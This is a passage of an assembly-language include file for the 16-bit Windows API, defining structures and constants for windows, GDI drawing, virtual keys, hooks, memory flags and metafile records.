  lvht_flags  DWORD      ?
  lvht_iItem  DWORD      ?
LV_HITTESTINFO ENDS

LV_COLUMN STRUC
  lvc_imask  DWORD      ?
  lvc_fmt  DWORD      ?
  lvc_lx  DWORD      ?
  lvc_pszText  DWORD      ?
  lvc_cchTextMax  DWORD      ?
  lvc_iSubItem  DWORD      ?
LV_COLUMN ENDS

;*******************************************************************
;
;       Rectangle
;
;*******************************************************************

RECT    struc
        rcLeft          dd      ?
        rcTop           dd      ?
        rcRight         dd      ?
        rcBottom        dd      ?
RECT    ends

;*******************************************************************
;
;  Window Class structure
;
;*******************************************************************

WNDCLASS struc
        clsStyle        dw      ?       ; class style
        clsLpfnWndProc  dd      ?
        clsCbClsExtra   dw      ?
        clsCbWndExtra   dw      ?
        clsHInstance    dw      ?       ; instance handle
        clsHIcon        dw      ?       ; class icon handle
        clsHCursor      dw      ?       ; class cursor handle
        clsHbrBackground dw     ?       ; class background brush
        clsLpszMenuName dd      ?       ; menu name
        clsLpszClassName dd     ?       ; far ptr to class name
WNDCLASS ends

IFNDEF NOTEXT
TEXTMETRIC struc
    tmHeight        dw      ?
    tmAscent        dw      ?
    tmDescent       dw      ?
    tmIntLeading    dw      ?
    tmExtLeading    dw      ?
    tmAveCharWidth  dw      ?
    tmMaxCharWidth  dw      ?
    tmWeight        dw      ?
    tmItalic        db      ?
    tmUnderlined    db      ?
    tmStruckOut     db      ?
    tmFirstChar     db      ?
    tmLastChar      db      ?
    tmDefaultChar   db      ?
    tmBreakChar     db      ?
    tmPitch         db      ?
    tmCharSet       db      ?
    tmOverhang      dw      ?
    tmAspectX       dw      ?
    tmAspectY       dw      ?
TEXTMETRIC ends

LF_FACESIZE     EQU     32

LOGFONT struc
    lfHeight          dw   ?
    lfWidth           dw   ?
    lfEscapement      dw   ?
    lfOrientation     dw   ?
    lfWeight          dw   ?
    lfItalic          db   ?
    lfUnderline       db   ?
    lfStrikeOut       db   ?
    lfCharSet         db   ?
    lfOutPrecision    db   ?
    lfClipPrecision   db   ?
    lfQuality         db   ?
    lfPitchAndFamily  db   ?
    lfFaceName        db   LF_FACESIZE dup(?)
LOGFONT ends

LOGBRUSH struc
    lbStyle         dw ?
    lbColor         dd ?
    lbHatch         dw ?
LOGBRUSH ends

;
;  Text Drawing modes
;
TRANSPARENT     = 1
OPAQUE          = 2
;
; Mapping Modes
;
MM_TEXT         =   1
MM_LOMETRIC     =   2
MM_HIMETRIC     =   3
MM_LOENGLISH    =   4
MM_HIENGLISH    =   5
MM_TWIPS        =   6
MM_ISOTROPIC    =   7
MM_ANISOTROPIC  =   8
;
; Coordinate Modes
;
ABSOLUTE        =   1
RELATIVE        =   2
;
;  Stock Logical Objects
;
WHITE_BRUSH         =  0
LTGRAY_BRUSH        =  1
GRAY_BRUSH          =  2
DKGRAY_BRUSH        =  3
BLACK_BRUSH         =  4
NULL_BRUSH          =  5
HOLLOW_BRUSH        =  5
WHITE_PEN           =  6
BLACK_PEN           =  7
NULL_PEN            =  8
DOT_MARKER          =  9
OEM_FIXED_FONT      = 10
ANSI_FIXED_FONT     = 11
ANSI_VAR_FONT       = 12
SYSTEM_FONT         = 13
DEVICE_DEFAULT_FONT = 14
DEFAULT_PALETTE     = 15
SYSTEM_FIXED_FONT   = 16
ENDIF
;
; Brush Styles
;
BS_SOLID        =   0
BS_NULL         =   1
BS_HOLLOW       =   BS_NULL
BS_HATCHED      =   2
BS_PATTERN      =   3
BS_INDEXED      =   4
BS_DIBPATTERN   =   5
;
; Hatch Styles
;
HS_HORIZONTAL   =   0       ; -----
HS_VERTICAL     =   1       ; |||||
HS_FDIAGONAL    =   2       ; /
HS_BDIAGONAL    =   3       ; /
HS_CROSS        =   4       ; +++++
HS_DIAGCROSS    =   5       ; xxxxx
;
; Pen Styles
;
PS_SOLID        =   0
PS_DASH         =   1       ; -------
PS_DOT          =   2       ; .......
PS_DASHDOT      =   3       ; _._._._
PS_DASHDOTDOT   =   4       ; _.._.._
PS_NULL         =   5
PS_INSIDEFRAME  =   6
;
; Device Parameters for GetDeviceCaps()
;
DRIVERVERSION =0     ; Device driver version
TECHNOLOGY    =2     ; Device classification
HORZSIZE      =4     ; Horizontal size in millimeters
VERTSIZE      =6     ; Vertical size in millimeters
HORZRES       =8     ; Horizontal width in pixels
VERTRES       =10    ; Vertical width in pixels
BITSPIXEL     =12    ; Number of bits per pixel
PLANES        =14    ; Number of planes
NUMBRUSHES    =16    ; Number of brushes the device has
NUMPENS       =18    ; Number of pens the device has
NUMMARKERS    =20    ; Number of markers the device has
NUMFONTS      =22    ; Number of fonts the device has
NUMCOLORS     =24    ; Number of colors the device supports
PDEVICESIZE   =26    ; Size required for device descriptor
CURVECAPS     =28    ; Curve capabilities
LINECAPS      =30    ; Line capabilities
POLYGONALCAPS =32    ; Polygonal capabilities
TEXTCAPS      =34    ; Text capabilities
CLIPCAPS      =36    ; Clipping capabilities
RASTERCAPS    =38    ; Bitblt capabilities
ASPECTX       =40    ; Length of the X leg
ASPECTY       =42    ; Length of the Y leg
ASPECTXY      =44    ; Length of the hypotenuse

LOGPIXELSX    =88    ; Logical pixels/inch in X
LOGPIXELSY    =90    ; Logical pixels/inch in Y

SIZEPALETTE   =104   ; Number of entries in physical palette
NUMRESERVED   =106   ; Number of reserved entries in palette
COLORRES      =108   ; Actual color resolution
;
ifndef NOGDICAPMASKS
;
; Device Capability Masks:
;
; Device Technologies
DT_PLOTTER       =   0  ; /* Vector plotter                   */
DT_RASDISPLAY    =   1  ; /* Raster display                   */
DT_RASPRINTER    =   2  ; /* Raster printer                   */
DT_RASCAMERA     =   3  ; /* Raster camera                    */
DT_CHARSTREAM    =   4  ; /* Character-stream, PLP            */
DT_METAFILE      =   5  ; /* Metafile, VDM                    */
DT_DISPFILE      =   6  ; /* Display-file                     */
;
; Curve Capabilities
CC_NONE          =   0  ; /* Curves not supported             */
CC_CIRCLES       =   1  ; /* Can do circles                   */
CC_PIE           =   2  ; /* Can do pie wedges                */
CC_CHORD         =   4  ; /* Can do chord arcs                */
CC_ELLIPSES      =   8  ; /* Can do ellipese                  */
CC_WIDE          =   16 ; /* Can do wide lines                */
CC_STYLED        =   32 ; /* Can do styled lines              */
CC_WIDESTYLED    =   64 ; /* Can do wide styled lines         */
CC_INTERIORS     =   128; /* Can do interiors                 */
;
; Line Capabilities
LC_NONE          =   0  ; /* Lines not supported              */
LC_POLYLINE      =   2  ; /* Can do polylines                 */
LC_MARKER        =   4  ; /* Can do markers                   */
LC_POLYMARKER    =   8  ; /* Can do polymarkers               */
LC_WIDE          =   16 ; /* Can do wide lines                */
LC_STYLED        =   32 ; /* Can do styled lines              */
LC_WIDESTYLED    =   64 ; /* Can do wide styled lines         */
LC_INTERIORS     =   128; /* Can do interiors                 */
;
; Polygonal Capabilities
PC_NONE          =   0  ; /* Polygonals not supported         */
PC_POLYGON       =   1  ; /* Can do polygons                  */
PC_RECTANGLE     =   2  ; /* Can do rectangles                */
PC_WINDPOLYGON   =   4  ; /* Can do winding polygons          */
PC_TRAPEZOID     =   4  ; /* Can do trapezoids                */
PC_SCANLINE      =   8  ; /* Can do scanlines                 */
PC_WIDE          =   16 ; /* Can do wide borders              */
PC_STYLED        =   32 ; /* Can do styled borders            */
PC_WIDESTYLED    =   64 ; /* Can do wide styled borders       */
PC_INTERIORS     =   128; /* Can do interiors                 */
;
; Polygonal Capabilities */
CP_NONE          =   0  ; /* No clipping of output            */
CP_RECTANGLE     =   1  ; /* Output clipped to rects          */
;
; Text Capabilities
TC_OP_CHARACTER  =   0001h ; /* Can do OutputPrecision   CHARACTER      */
TC_OP_STROKE     =   0002h ; /* Can do OutputPrecision   STROKE         */
TC_CP_STROKE     =   0004h ; /* Can do ClipPrecision     STROKE         */
TC_CR_90         =   0008h ; /* Can do CharRotAbility    90             */
TC_CR_ANY        =   0010h ; /* Can do CharRotAbility    ANY            */
TC_SF_X_YINDEP   =   0020h ; /* Can do ScaleFreedom      X_YINDEPENDENT */
TC_SA_DOUBLE     =   0040h ; /* Can do ScaleAbility      DOUBLE         */
TC_SA_INTEGER    =   0080h ; /* Can do ScaleAbility      INTEGER        */
TC_SA_CONTIN     =   0100h ; /* Can do ScaleAbility      CONTINUOUS     */
TC_EA_DOUBLE     =   0200h ; /* Can do EmboldenAbility   DOUBLE         */
TC_IA_ABLE       =   0400h ; /* Can do ItalisizeAbility  ABLE           */
TC_UA_ABLE       =   0800h ; /* Can do UnderlineAbility  ABLE           */
TC_SO_ABLE       =   1000h ; /* Can do StrikeOutAbility  ABLE           */
TC_RA_ABLE       =   2000h ; /* Can do RasterFontAble    ABLE           */
TC_VA_ABLE       =   4000h ; /* Can do VectorFontAble    ABLE           */
TC_RESERVED      =   8000h
;
; Raster Capabilities
RC_BITBLT        =   1      ; /* Can do standard BLT.             */
RC_BANDING       =   2      ; /* Device requires banding support  */
RC_SCALING       =   4      ; /* Device requires scaling support  */
RC_BITMAP64      =   8      ; /* Device can support >64K bitmap   */
RC_GDI20_OUTPUT  =   0010h  ; /* has 2.0 output calls         */
RC_DI_BITMAP     =   0080h  ; /* supports DIB to memory       */
RC_PALETTE       =   0100h  ; /* supports a palette           */
RC_DIBTODEV      =   0200h  ; /* supports DIBitsToDevice      */
RC_BIGFONT       =   0400h  ; /* supports >64K fonts          */
RC_STRETCHBLT    =   0800h  ; /* supports StretchBlt          */
RC_FLOODFILL     =   1000h  ; /* supports FloodFill           */
RC_STRETCHDIB    =   2000h  ; /* supports StretchDIBits       */

endif       ;NOGDICAPMASKS

; palette entry flags
;
PC_RESERVED     = 1    ;/* palette index used for animation */
PC_EXPLICIT     = 2    ;/* palette index is explicit to device */
PC_NOCOLLAPSE   = 4    ;/* do not match color to system palette */

; DIB color table identifiers
;
DIB_RGB_COLORS  = 0    ;/* color table in RGBTriples */
DIB_PAL_COLORS  = 1    ;/* color table in palette indices */
;

;constants for Get/SetSystemPaletteUse()
;
SYSPAL_STATIC   = 1
SYSPAL_NOSTATIC = 2

; constants for CreateDIBitmap
CBM_INIT        = 4    ;/* initialize bitmap */
;
; Bitmap format constants
BI_RGB          = 0
BI_RLE8         = 1
BI_RLE4         = 2
;
;
ANSI_CHARSET    = 0
SYMBOL_CHARSET  = 2
OEM_CHARSET     = 255
;
;  styles for CombineRgn
;
RGN_AND  = 1
RGN_OR   = 2
RGN_XOR  = 3
RGN_DIFF = 4
RGN_COPY = 5
;
;  Predefined cursor & icon IDs
;
IDC_ARROW       = 32512
IDC_IBEAM       = 32513
IDC_WAIT        = 32514
IDC_CROSS       = 32515
IDC_UPARROW     = 32516
IDC_SIZE        = 32640
IDC_ICON        = 32641
IDC_SIZENWSE    = 32642
IDC_SIZENESW    = 32643
IDC_SIZEWE      = 32644
IDC_SIZENS      = 32645

IDI_APPLICATION = 32512
IDI_HAND        = 32513
IDI_QUESTION    = 32514
IDI_EXCLAMATION = 32515
IDI_ASTERISK    = 32516

;
; OEM Resource Ordinal Numbers */
;
OBM_CLOSE         =  32754
OBM_UPARROW       =  32753
OBM_DNARROW       =  32752
OBM_RGARROW       =  32751
OBM_LFARROW       =  32750
OBM_REDUCE        =  32749
OBM_ZOOM          =  32748
OBM_RESTORE       =  32747
OBM_REDUCED       =  32746
OBM_ZOOMD         =  32745
OBM_RESTORED      =  32744
OBM_UPARROWD      =  32743
OBM_DNARROWD      =  32742
OBM_RGARROWD      =  32741
OBM_LFARROWD      =  32740
OBM_MNARROW       =  32739
OBM_COMBO         =  32738
OBM_UPARROWI      =  32737
OBM_DNARROWI      =  32736
OBM_RGARROWI      =  32735
OBM_LFARROWI      =  32734

OBM_OLD_CLOSE     =  32767
OBM_SIZE          =  32766
OBM_OLD_UPARROW   =  32765
OBM_OLD_DNARROW   =  32764
OBM_OLD_RGARROW   =  32763
OBM_OLD_LFARROW   =  32762
OBM_BTSIZE        =  32761
OBM_CHECK         =  32760
OBM_CHECKBOXES    =  32759
OBM_BTNCORNERS    =  32758
OBM_OLD_REDUCE    =  32757
OBM_OLD_ZOOM      =  32756
OBM_OLD_RESTORE   =  32755

OCR_NORMAL        =  32512
OCR_IBEAM         =  32513
OCR_WAIT          =  32514
OCR_CROSS         =  32515
OCR_UP            =  32516
OCR_SIZE          =  32640
OCR_ICON          =  32641
OCR_SIZENWSE      =  32642
OCR_SIZENESW      =  32643
OCR_SIZEWE        =  32644
OCR_SIZENS        =  32645
OCR_SIZEALL       =  32646
OCR_ICOCUR        =  32647

OIC_SAMPLE        =  32512
OIC_HAND          =  32513
OIC_QUES          =  32514
OIC_BANG          =  32515
OIC_NOTE          =  32516

;
;   Scroll bar constants
;
SB_HORZ = 0
SB_VERT = 1
SB_CTL  = 2
SB_BOTH = 3
;
;   Scroll Commands
;
SB_LINEUP        = 0
SB_LINEDOWN      = 1
SB_PAGEUP        = 2
SB_PAGEDOWN      = 3
SB_THUMBPOSITION = 4
SB_THUMBTRACK    = 5
SB_TOP           = 6
SB_BOTTOM        = 7
SB_ENDSCROLL     = 8
;
;  MessageBox type flags
;
IFNDEF                  NOMB
MB_OK                   = 0000H
MB_OKCANCEL             = 0001H
MB_ABORTRETRYIGNORE     = 0002H
MB_YESNOCANCEL          = 0003H
MB_YESNO                = 0004H
MB_RETRYCANCEL          = 0005H

MB_ICONHAND             = 0010H
MB_ICONQUESTION         = 0020H
MB_ICONEXCLAMATION      = 0030H
MB_ICONASTERISK         = 0040H

MB_DEFBUTTON1           = 0000H
MB_DEFBUTTON2           = 0100H
MB_DEFBUTTON3           = 0200H

MB_APPLMODAL            = 0000H
MB_SYSTEMMODAL          = 1000H
MB_TASKMODAL            = 2000H

MB_NOFOCUS              = 8000H

;
;  Conventional dialog box and message box command IDs
;
IDOK     =   1
IDCANCEL =   2
IDABORT  =   3
IDRETRY  =   4
IDIGNORE =   5
IDYES    =   6
IDNO     =   7
;
;  Flags for OpenFile
;
OF_READ             = 0000H
OF_WRITE            = 0001H
OF_READWRITE        = 0002H
OF_SHARE_COMPAT     = 0000H
OF_SHARE_EXCLUSIVE  = 0010H
OF_SHARE_DENY_WRITE = 0020H
OF_SHARE_DENY_READ  = 0030H
OF_SHARE_DENY_NONE  = 0040H
OF_PARSE            = 0100H
OF_DELETE           = 0200H
OF_VERIFY           = 0400H     ; Used with OF_REOPEN
OF_SEARCH           = 0400H     ; Used without OF_REOPEN
OF_CANCEL           = 0800H
OF_CREATE           = 1000H
OF_PROMPT           = 2000H
OF_EXIST            = 4000H
OF_REOPEN           = 8000H

TF_FORCEDRIVE   = 80H

OPENSTRUC       STRUC
opLen   db      ?
opDisk  db      ?
opXtra  dw      ?
opDate  dw      ?
opTime  dw      ?
opFile  db      120 dup (?)
OPENSTRUC       ENDS
;
;  DrawText format flags
;
DT_LEFT         = 00H
DT_CENTER       = 01H
DT_RIGHT        = 02H
DT_TOP          = 00H
DT_VCENTER      = 04H
DT_BOTTOM       = 08H
DT_WORDBREAK    = 10H
DT_SINGLELINE   = 20H
DT_EXPANDTABS   = 40H
DT_TABSTOP      = 80H
DT_NOCLIP       =    0100H
DT_EXTERNALLEADING = 0200H
DT_CALCRECT     =    0400H
DT_NOPREFIX     =    0800H
DT_INTERNAL     =    1000H
ENDIF

;
; ExtFloodFill style flags
;
FLOODFILLBORDER  =  0
FLOODFILLSURFACE =  1

;
; Memory manager flags
;
LMEM_FIXED      =   0000h
LMEM_MOVEABLE   =   0002h
LMEM_NOCOMPACT  =   0010H
LMEM_NODISCARD  =   0020H
LMEM_ZEROINIT   =   0040h
LMEM_MODIFY     =   0080H
LMEM_DISCARDABLE=   0F00h
LHND    =    LMEM_MOVEABLE+LMEM_ZEROINIT
LPTR    =    LMEM_FIXED+LMEM_ZEROINIT
; Flags returned by LocalFlags (in addition to LMEM_DISCARDABLE)
LMEM_DISCARDED  =   4000H
LMEM_LOCKCOUNT  =   00FFH

NONZEROLHND     =    LMEM_MOVEABLE
NONZEROLPTR     =    LMEM_FIXED



GMEM_FIXED      =   0000h
GMEM_MOVEABLE   =   0002h
GMEM_NOCOMPACT  =   0010h
GMEM_NODISCARD  =   0020h
GMEM_ZEROINIT   =   0040h
GMEM_MODIFY     =   0080h
GMEM_DISCARDABLE=   0100h
GMEM_NOT_BANKED =   1000h
GMEM_DDESHARE   =   2000h
GMEM_SHARE      =   2000h
GMEM_NOTIFY     =   4000h
GMEM_LOWER      =   GMEM_NOT_BANKED
GHND            =   GMEM_MOVEABLE+GMEM_ZEROINIT
GPTR            =   GMEM_FIXED+GMEM_ZEROINIT

; Flags returned by GlobalFlags (in addition to GMEM_DISCARDABLE)
GMEM_DISCARDED  =    4000h
GMEM_LOCKCOUNT  =    00FFh

; Flags returned by GetWinFlags

WF_PMODE        =    0001h
WF_CPU286       =    0002h
WF_CPU386       =    0004h
WF_CPU486       =    0008h
WF_STANDARD     =    0010h
WF_WIN286       =    0010h
WF_ENHANCED     =    0020h
WF_WIN386       =    0020h
WF_CPU086       =    0040h
WF_CPU186       =    0080h
WF_LARGEFRAME   =    0100h
WF_SMALLFRAME   =    0200h
WF_80x87        =    0400h
WF_PAGING       =    0800h
WF_WLO          =    8000h

; WEP fSystemExit flag values
WEP_SYSTEM_EXIT =       1
WEP_FREE_DLL    =       0


;  Virtual Keys, Standard Set

IFNDEF          NOVK
VK_LBUTTON      = 01H
VK_RBUTTON      = 02H
VK_CANCEL       = 03H
VK_BACK         = 08H
VK_TAB          = 09H
VK_CLEAR        = 0cH
VK_RETURN       = 0dH
VK_SHIFT        = 10H
VK_CONTROL      = 11H
VK_MENU         = 12H
VK_PAUSE        = 13H
VK_CAPITAL      = 14H
VK_ESCAPE       = 1bH
VK_SPACE        = 20H

VK_PRIOR        = 21H
VK_NEXT         = 22H
VK_END          = 23H
VK_HOME         = 24H
VK_LEFT         = 25H
VK_UP           = 26H
VK_RIGHT        = 27H
VK_DOWN         = 28H

;  VK_A thru VK_Z are the same as their ASCII equivalents: 'A' thru 'Z'
;  VK_0 thru VK_9 are the same as their ASCII equivalents: '0' thru '0'

VK_PRINT        = 2aH
VK_EXECUTE      = 2bH
VK_SNAPSHOT     = 2ch   ; Printscreen key..
VK_INSERT       = 2dH
VK_DELETE       = 2eH
VK_HELP         = 2fH

VK_NUMPAD0      = 60H
VK_NUMPAD1      = 61H
VK_NUMPAD2      = 62H
VK_NUMPAD3      = 63H
VK_NUMPAD4      = 64H
VK_NUMPAD5      = 65H
VK_NUMPAD6      = 66H
VK_NUMPAD7      = 67H
VK_NUMPAD8      = 68H
VK_NUMPAD9      = 69H
VK_MULTIPLY     = 6AH
VK_ADD          = 6BH
VK_SEPARATER    = 6CH
VK_SUBTRACT     = 6DH
VK_DECIMAL      = 6EH
VK_DIVIDE       = 6FH

VK_F1           = 70H
VK_F2           = 71H
VK_F3           = 72H
VK_F4           = 73H
VK_F5           = 74H
VK_F6           = 75H
VK_F7           = 76H
VK_F8           = 77H
VK_F9           = 78H
VK_F10          = 79H
VK_F11          = 7aH
VK_F12          = 7bH
VK_F13          = 7cH
VK_F14          = 7dH
VK_F15          = 7eH
VK_F16          = 7fH
VK_F17          = 80H
VK_F18          = 81H
VK_F19          = 82H
VK_F20          = 83H
VK_F21          = 84H
VK_F22          = 85H
VK_F23          = 86H
VK_F24          = 87H

VK_NUMLOCK      = 90H
VK_SCROLL       = 91H
ENDIF

IFNDEF NOWH

; SetWindowsHook() codes
WH_MSGFILTER       = (-1)
WH_JOURNALRECORD   = 0
WH_JOURNALPLAYBACK = 1
WH_KEYBOARD        = 2
WH_GETMESSAGE      = 3
WH_CALLWNDPROC     = 4
IFNDEF NOWIN31
WH_CBT             = 5
WH_SYSMSGFILTER    = 6
WH_MOUSE           = 7
WH_HARDWARE        = 8
WH_DEBUG           = 9
ENDIF
;
; Hook Codes
HC_GETLPLPFN       = (-3)
HC_LPLPFNNEXT      = (-2)
HC_LPFNNEXT        = (-1)
HC_ACTION          = 0
HC_GETNEXT         = 1
HC_SKIP            = 2
HC_NOREM           = 3
HC_NOREMOVE        = 3
HC_SYSMODALON      = 4
HC_SYSMODALOFF     = 5
;
; CBT Hook Codes
HCBT_MOVESIZE      = 0
HCBT_MINMAX        = 1
HCBT_QS            = 2
HCBT_CREATEWND     = 3
HCBT_DESTROYWND    = 4
HCBT_ACTIVATE      = 5
HCBT_CLICKSKIPPED  = 6
HCBT_KEYSKIPPED    = 7
HCBT_SYSCOMMAND    = 8
HCBT_SETFOCUS      = 9

;
; WH_MSGFILTER Filter Proc Codes
MSGF_DIALOGBOX     = 0
MSGF_MENU          = 2
MSGF_MOVE          = 3
MSGF_SIZE          = 4
MSGF_SCROLLBAR     = 5
MSGF_NEXTWINDOW    = 6
;
; Window Manager Hook Codes
WC_INIT            = 1
WC_SWP             = 2
WC_DEFWINDOWPROC   = 3
WC_MINMAX          = 4
WC_MOVE            = 5
WC_SIZE            = 6
WC_DRAWCAPTION     = 7
;

; Message Structure used in Journaling
EVENTMSG    struc
    message     dw ?
    paramL      dw ?
    paramH      dw ?
    time        dd ?
EVENTMSG    ends

ENDIF ;NOWH

; Window field offsets for GetWindowLong() and GetWindowWord()
GWL_WNDPROC       =  (-4)
GWW_HINSTANCE     =  (-6)
GWW_HWNDPARENT    =  (-8)
GWW_ID            =  (-12)
GWL_STYLE         =  (-16)
GWL_EXSTYLE       =  (-20)

; GetWindow() Constants
GW_HWNDFIRST      =  0
GW_HWNDLAST       =  1
GW_HWNDNEXT       =  2
GW_HWNDPREV       =  3
GW_OWNER          =  4
GW_CHILD          =  5

; Class field offsets for GetClassLong() and GetClassWord()
GCL_MENUNAME      =  (-8)
GCW_HBRBACKGROUND =  (-10)
GCW_HCURSOR       =  (-12)
GCW_HICON         =  (-14)
GCW_HMODULE       =  (-16)
GCW_CBWNDEXTRA    =  (-18)
GCW_CBCLSEXTRA    =  (-20)
GCL_WNDPROC       =  (-24)
GCW_STYLE         =  (-26)

; WinWhere() Area Codes
HTERROR           =  (-2)
HTTRANSPARENT     =  (-1)
HTNOWHERE         =  0
HTCLIENT          =  1
HTCAPTION         =  2
HTSYSMENU         =  3
HTGROWBOX         =  4
HTSIZE            =  HTGROWBOX
HTMENU            =  5
HTHSCROLL         =  6
HTVSCROLL         =  7
HTREDUCE          =  8
HTZOOM            =  9
HTLEFT            =  10
HTRIGHT           =  11
HTTOP             =  12
HTTOPLEFT         =  13
HTTOPRIGHT        =  14
HTBOTTOM          =  15
HTBOTTOMLEFT      =  16
HTBOTTOMRIGHT     =  17
HTSIZEFIRST       =  HTLEFT
HTSIZELAST        =  HTBOTTOMRIGHT



;*************************************************************************
;
;       Misc structures & constants
;
;*************************************************************************

IFNDEF  NOMST
POINT   struc
        ptX             dw      ?
        ptY             dw      ?
POINT   ends

LOGPEN struc
    lopnStyle       dw ?
    lopnWidth       db (SIZE POINT) DUP(?)
    lopnColor       dd ?
LOGPEN ends


BITMAP STRUC
        bmType         DW ?
        bmWidth        DW ?
        bmHeight       DW ?
        bmWidthBytes   DW ?
        bmPlanes       DB ?
        bmBitsPixel    DB ?
        bmBits         DD ?
BITMAP ENDS

RGBTRIPLE       struc
        rgbBlue         db ?
        rgbGreen        db ?
        rgbRed          db ?
RGBTRIPLE       ends

RGBQUAD         struc
        rgbqBlue        db ?
        rgbqGreen       db ?
        rgbqRed         db ?
        rgbqReserved    db ?
RGBQUAD         ends

; structures for defining DIBs
BITMAPCOREHEADER struc
        bcSize      dd ?
        bcWidth     dw ?
        bcHeight    dw ?
        bcPlanes    dw ?
        bcBitCount  dw ?
BITMAPCOREHEADER ends

BITMAPINFOHEADER struc
        biSize           dd ?
        biWidth          dd ?
        biHeight         dd ?
        biPlanes         dw ?
        biBitCount       dw ?

        biCompression    dd ?
        biSizeImage      dd ?
        biXPelsPerMeter  dd ?
        biYPelsPerMeter  dd ?
        biClrUsed        dd ?
        biClrImportant   dd ?
BITMAPINFOHEADER ends

BITMAPINFO  struc
    bmiHeader   db (SIZE BITMAPINFOHEADER) DUP (?)
    bmiColors   db ?            ; array of RGBQUADs
BITMAPINFO  ends

BITMAPCOREINFO  struc
    bmciHeader  db (SIZE BITMAPCOREHEADER) DUP (?)
    bmciColors  db ?            ; array of RGBTRIPLEs
BITMAPCOREINFO  ends

BITMAPFILEHEADER struc
    bfType          dw ?
    bfSize          dd ?
    bfReserved1     dw ?
    bfReserved2     dw ?
    bfOffBits       dd ?
BITMAPFILEHEADER ends


WNDSTRUC struc
        WSwndStyle        dd      ?
        WSwndID           dw      ?
        WSwndText         dw      ?
        WSwndParent       dw      ?
        WSwndInstance     dw      ?
        WSwndClassProc    dd      ?
WNDSTRUC ends
;
;  Message structure
;
MSGSTRUCT       struc
msHWND          dw      ?
msMESSAGE       dw      ?
msWPARAM        dw      ?
msLPARAM        dd      ?
msTIME          dd      ?
msPT            dd      ?
MSGSTRUCT       ends

NEWPARMS struc
        nprmHwnd        dw      ?
        nprmCmd         db      ?
NEWPARMS ends
ENDIF

PAINTSTRUCT STRUC
    PShdc         DW ?
    PSfErase      DW ?
    PSrcPaint     DB size RECT dup(?)
    PSfRestore    DW ?
    PSfIncUpdate  DW ?
    PSrgbReserved DB 16 dup(?)
PAINTSTRUCT ENDS


CREATESTRUCT struc
    cs_lpCreateParams  dd ?
    cs_hInstance       dw ?
    cs_hMenu           dw ?
    cs_hwndParent      dw ?
    cs_cy              dw ?
    cs_cx              dw ?
    cs_y               dw ?
    cs_x               dw ?
    cs_style           dd ?
    cs_lpszName        dd ?
    cs_lpszClass       dd ?
    cs_dwExStyle       dd ?
CREATESTRUCT  ends
;
;       PostError constants
;
WARNING     = 0           ; command codes
MINOR_ERROR = 1
FATAL_ERROR = 2

IGNORE      = 0           ; response codes
RETRY       = 1
ABORT       = 2
;
; GDI-related constants & commands
;
ERRORREGION     = 0
NULLREGION      = 1
SIMPLEREGION    = 2
COMPLEXREGION   = 3

IFNDEF NORASTOPS
;
; Binary raster ops
;
R2_BLACK        =  1
R2_NOTMERGEPEN  =  2
R2_MASKNOTPEN   =  3
R2_NOTCOPYPEN   =  4
R2_MASKPENNOT   =  5
R2_NOT          =  6
R2_XORPEN       =  7
R2_NOTMASKPEN   =  8
R2_MASKPEN      =  9
R2_NOTXORPEN    = 10
R2_NOP          = 11
R2_MERGENOTPEN  = 12
R2_COPYPEN      = 13
R2_MERGEPENNOT  = 14
R2_MERGEPEN     = 15
R2_WHITE        = 16
;
; Ternary raster ops
;
SRCCOPY_L     = 0020h   ;dest=source
SRCCOPY_H     = 00CCh
SRCPAINT_L    = 0086h   ;dest=source OR dest
SRCPAINT_H    = 00EEh
SRCAND_L      = 00C6h   ;dest=source AND   dest
SRCAND_H      = 0088h
SRCINVERT_L   = 0046h   ;dest= source XOR      dest
SRCINVERT_H   = 0066h
SRCERASE_L    = 0328h   ;dest= source AND (not dest )
SRCERASE_H    = 0044h
NOTSRCCOPY_L  = 0008h   ;dest= (not source)
NOTSRCCOPY_H  = 0033h
NOTSRCERASE_L = 00A6h   ;dest= (not source) AND (not dest)
NOTSRCERASE_H = 0011h
MERGECOPY_L   = 00CAh   ;dest= (source AND pattern)
MERGECOPY_H   = 00C0h
MERGEPAINT_L  = 0226h   ;dest= (source AND pattern) OR dest
MERGEPAINT_H  = 00BBh
PATCOPY_L     = 0021h   ;dest= pattern
PATCOPY_H     = 00F0h
PATPAINT_L    = 0A09h   ;DPSnoo
PATPAINT_H    = 00FBh
PATINVERT_L   = 0049h   ;dest= pattern XOR     dest
PATINVERT_H   = 005Ah
DSTINVERT_L   = 0009h   ;dest= (not dest)
DSTINVERT_H   = 0055h
BLACKNESS_L   = 0042h   ;dest= BLACK
BLACKNESS_H   = 0000h
WHITENESS_L   = 0062h   ;dest= WHITE
WHITENESS_H   = 00FFh
;
; StretchBlt modes
;
BLACKONWHITE    = 1
WHITEONBLACK    = 2
COLORONCOLOR    = 3
;
; New StretchBlt modes
;
STRETCH_ANDSCANS    = 1
STRETCH_ORSCANS     = 2
STRETCH_DELETESCANS = 3
;
; PolyFill modes
;
ALTERNATE       = 1
WINDING         = 2
ENDIF
;
; Text Alignment Options
;
TA_NOUPDATECP   =  0
TA_UPDATECP     =  1

TA_LEFT         =  0
TA_RIGHT        =  2
TA_CENTER       =  6

TA_TOP          =  0
TA_BOTTOM       =  8
TA_BASELINE     =  24

ETO_GRAYED      =  1
ETO_OPAQUE      =  2
ETO_CLIPPED     =  4

ASPECT_FILTERING = 1

ifndef NOMETAFILE

; Metafile Functions */
META_SETBKCOLOR            =  0201h
META_SETBKMODE             =  0102h
META_SETMAPMODE            =  0103h
META_SETROP2               =  0104h
META_SETRELABS             =  0105h
META_SETPOLYFILLMODE       =  0106h
META_SETSTRETCHBLTMODE     =  0107h
META_SETTEXTCHAREXTRA      =  0108h
META_SETTEXTCOLOR          =  0209h
META_SETTEXTJUSTIFICATION  =  020Ah
META_SETWINDOWORG          =  020Bh
META_SETWINDOWEXT          =  020Ch
META_SETVIEWPORTORG        =  020Dh
META_SETVIEWPORTEXT        =  020Eh
META_OFFSETWINDOWORG       =  020Fh
META_SCALEWINDOWEXT        =  0400h
META_OFFSETVIEWPORTORG     =  0211h
META_SCALEVIEWPORTEXT      =  0412h
META_LINETO                =  0213h
META_MOVETO                =  0214h
META_EXCLUDECLIPRECT       =  0415h
META_INTERSECTCLIPRECT     =  0416h
META_ARC                   =  0817h
META_ELLIPSE               =  0418h
META_FLOODFILL             =  0419h
META_PIE                   =  081Ah
META_RECTANGLE             =  041Bh
META_ROUNDRECT             =  061Ch
META_PATBLT                =  061Dh
META_SAVEDC                =  001Eh
META_SETPIXEL              =  041Fh
META_OFFSETCLIPRGN         =  0220h
META_TEXTOUT               =  0521h
META_BITBLT                =  0922h
META_STRETCHBLT            =  0B23h
META_POLYGON               =  0324h
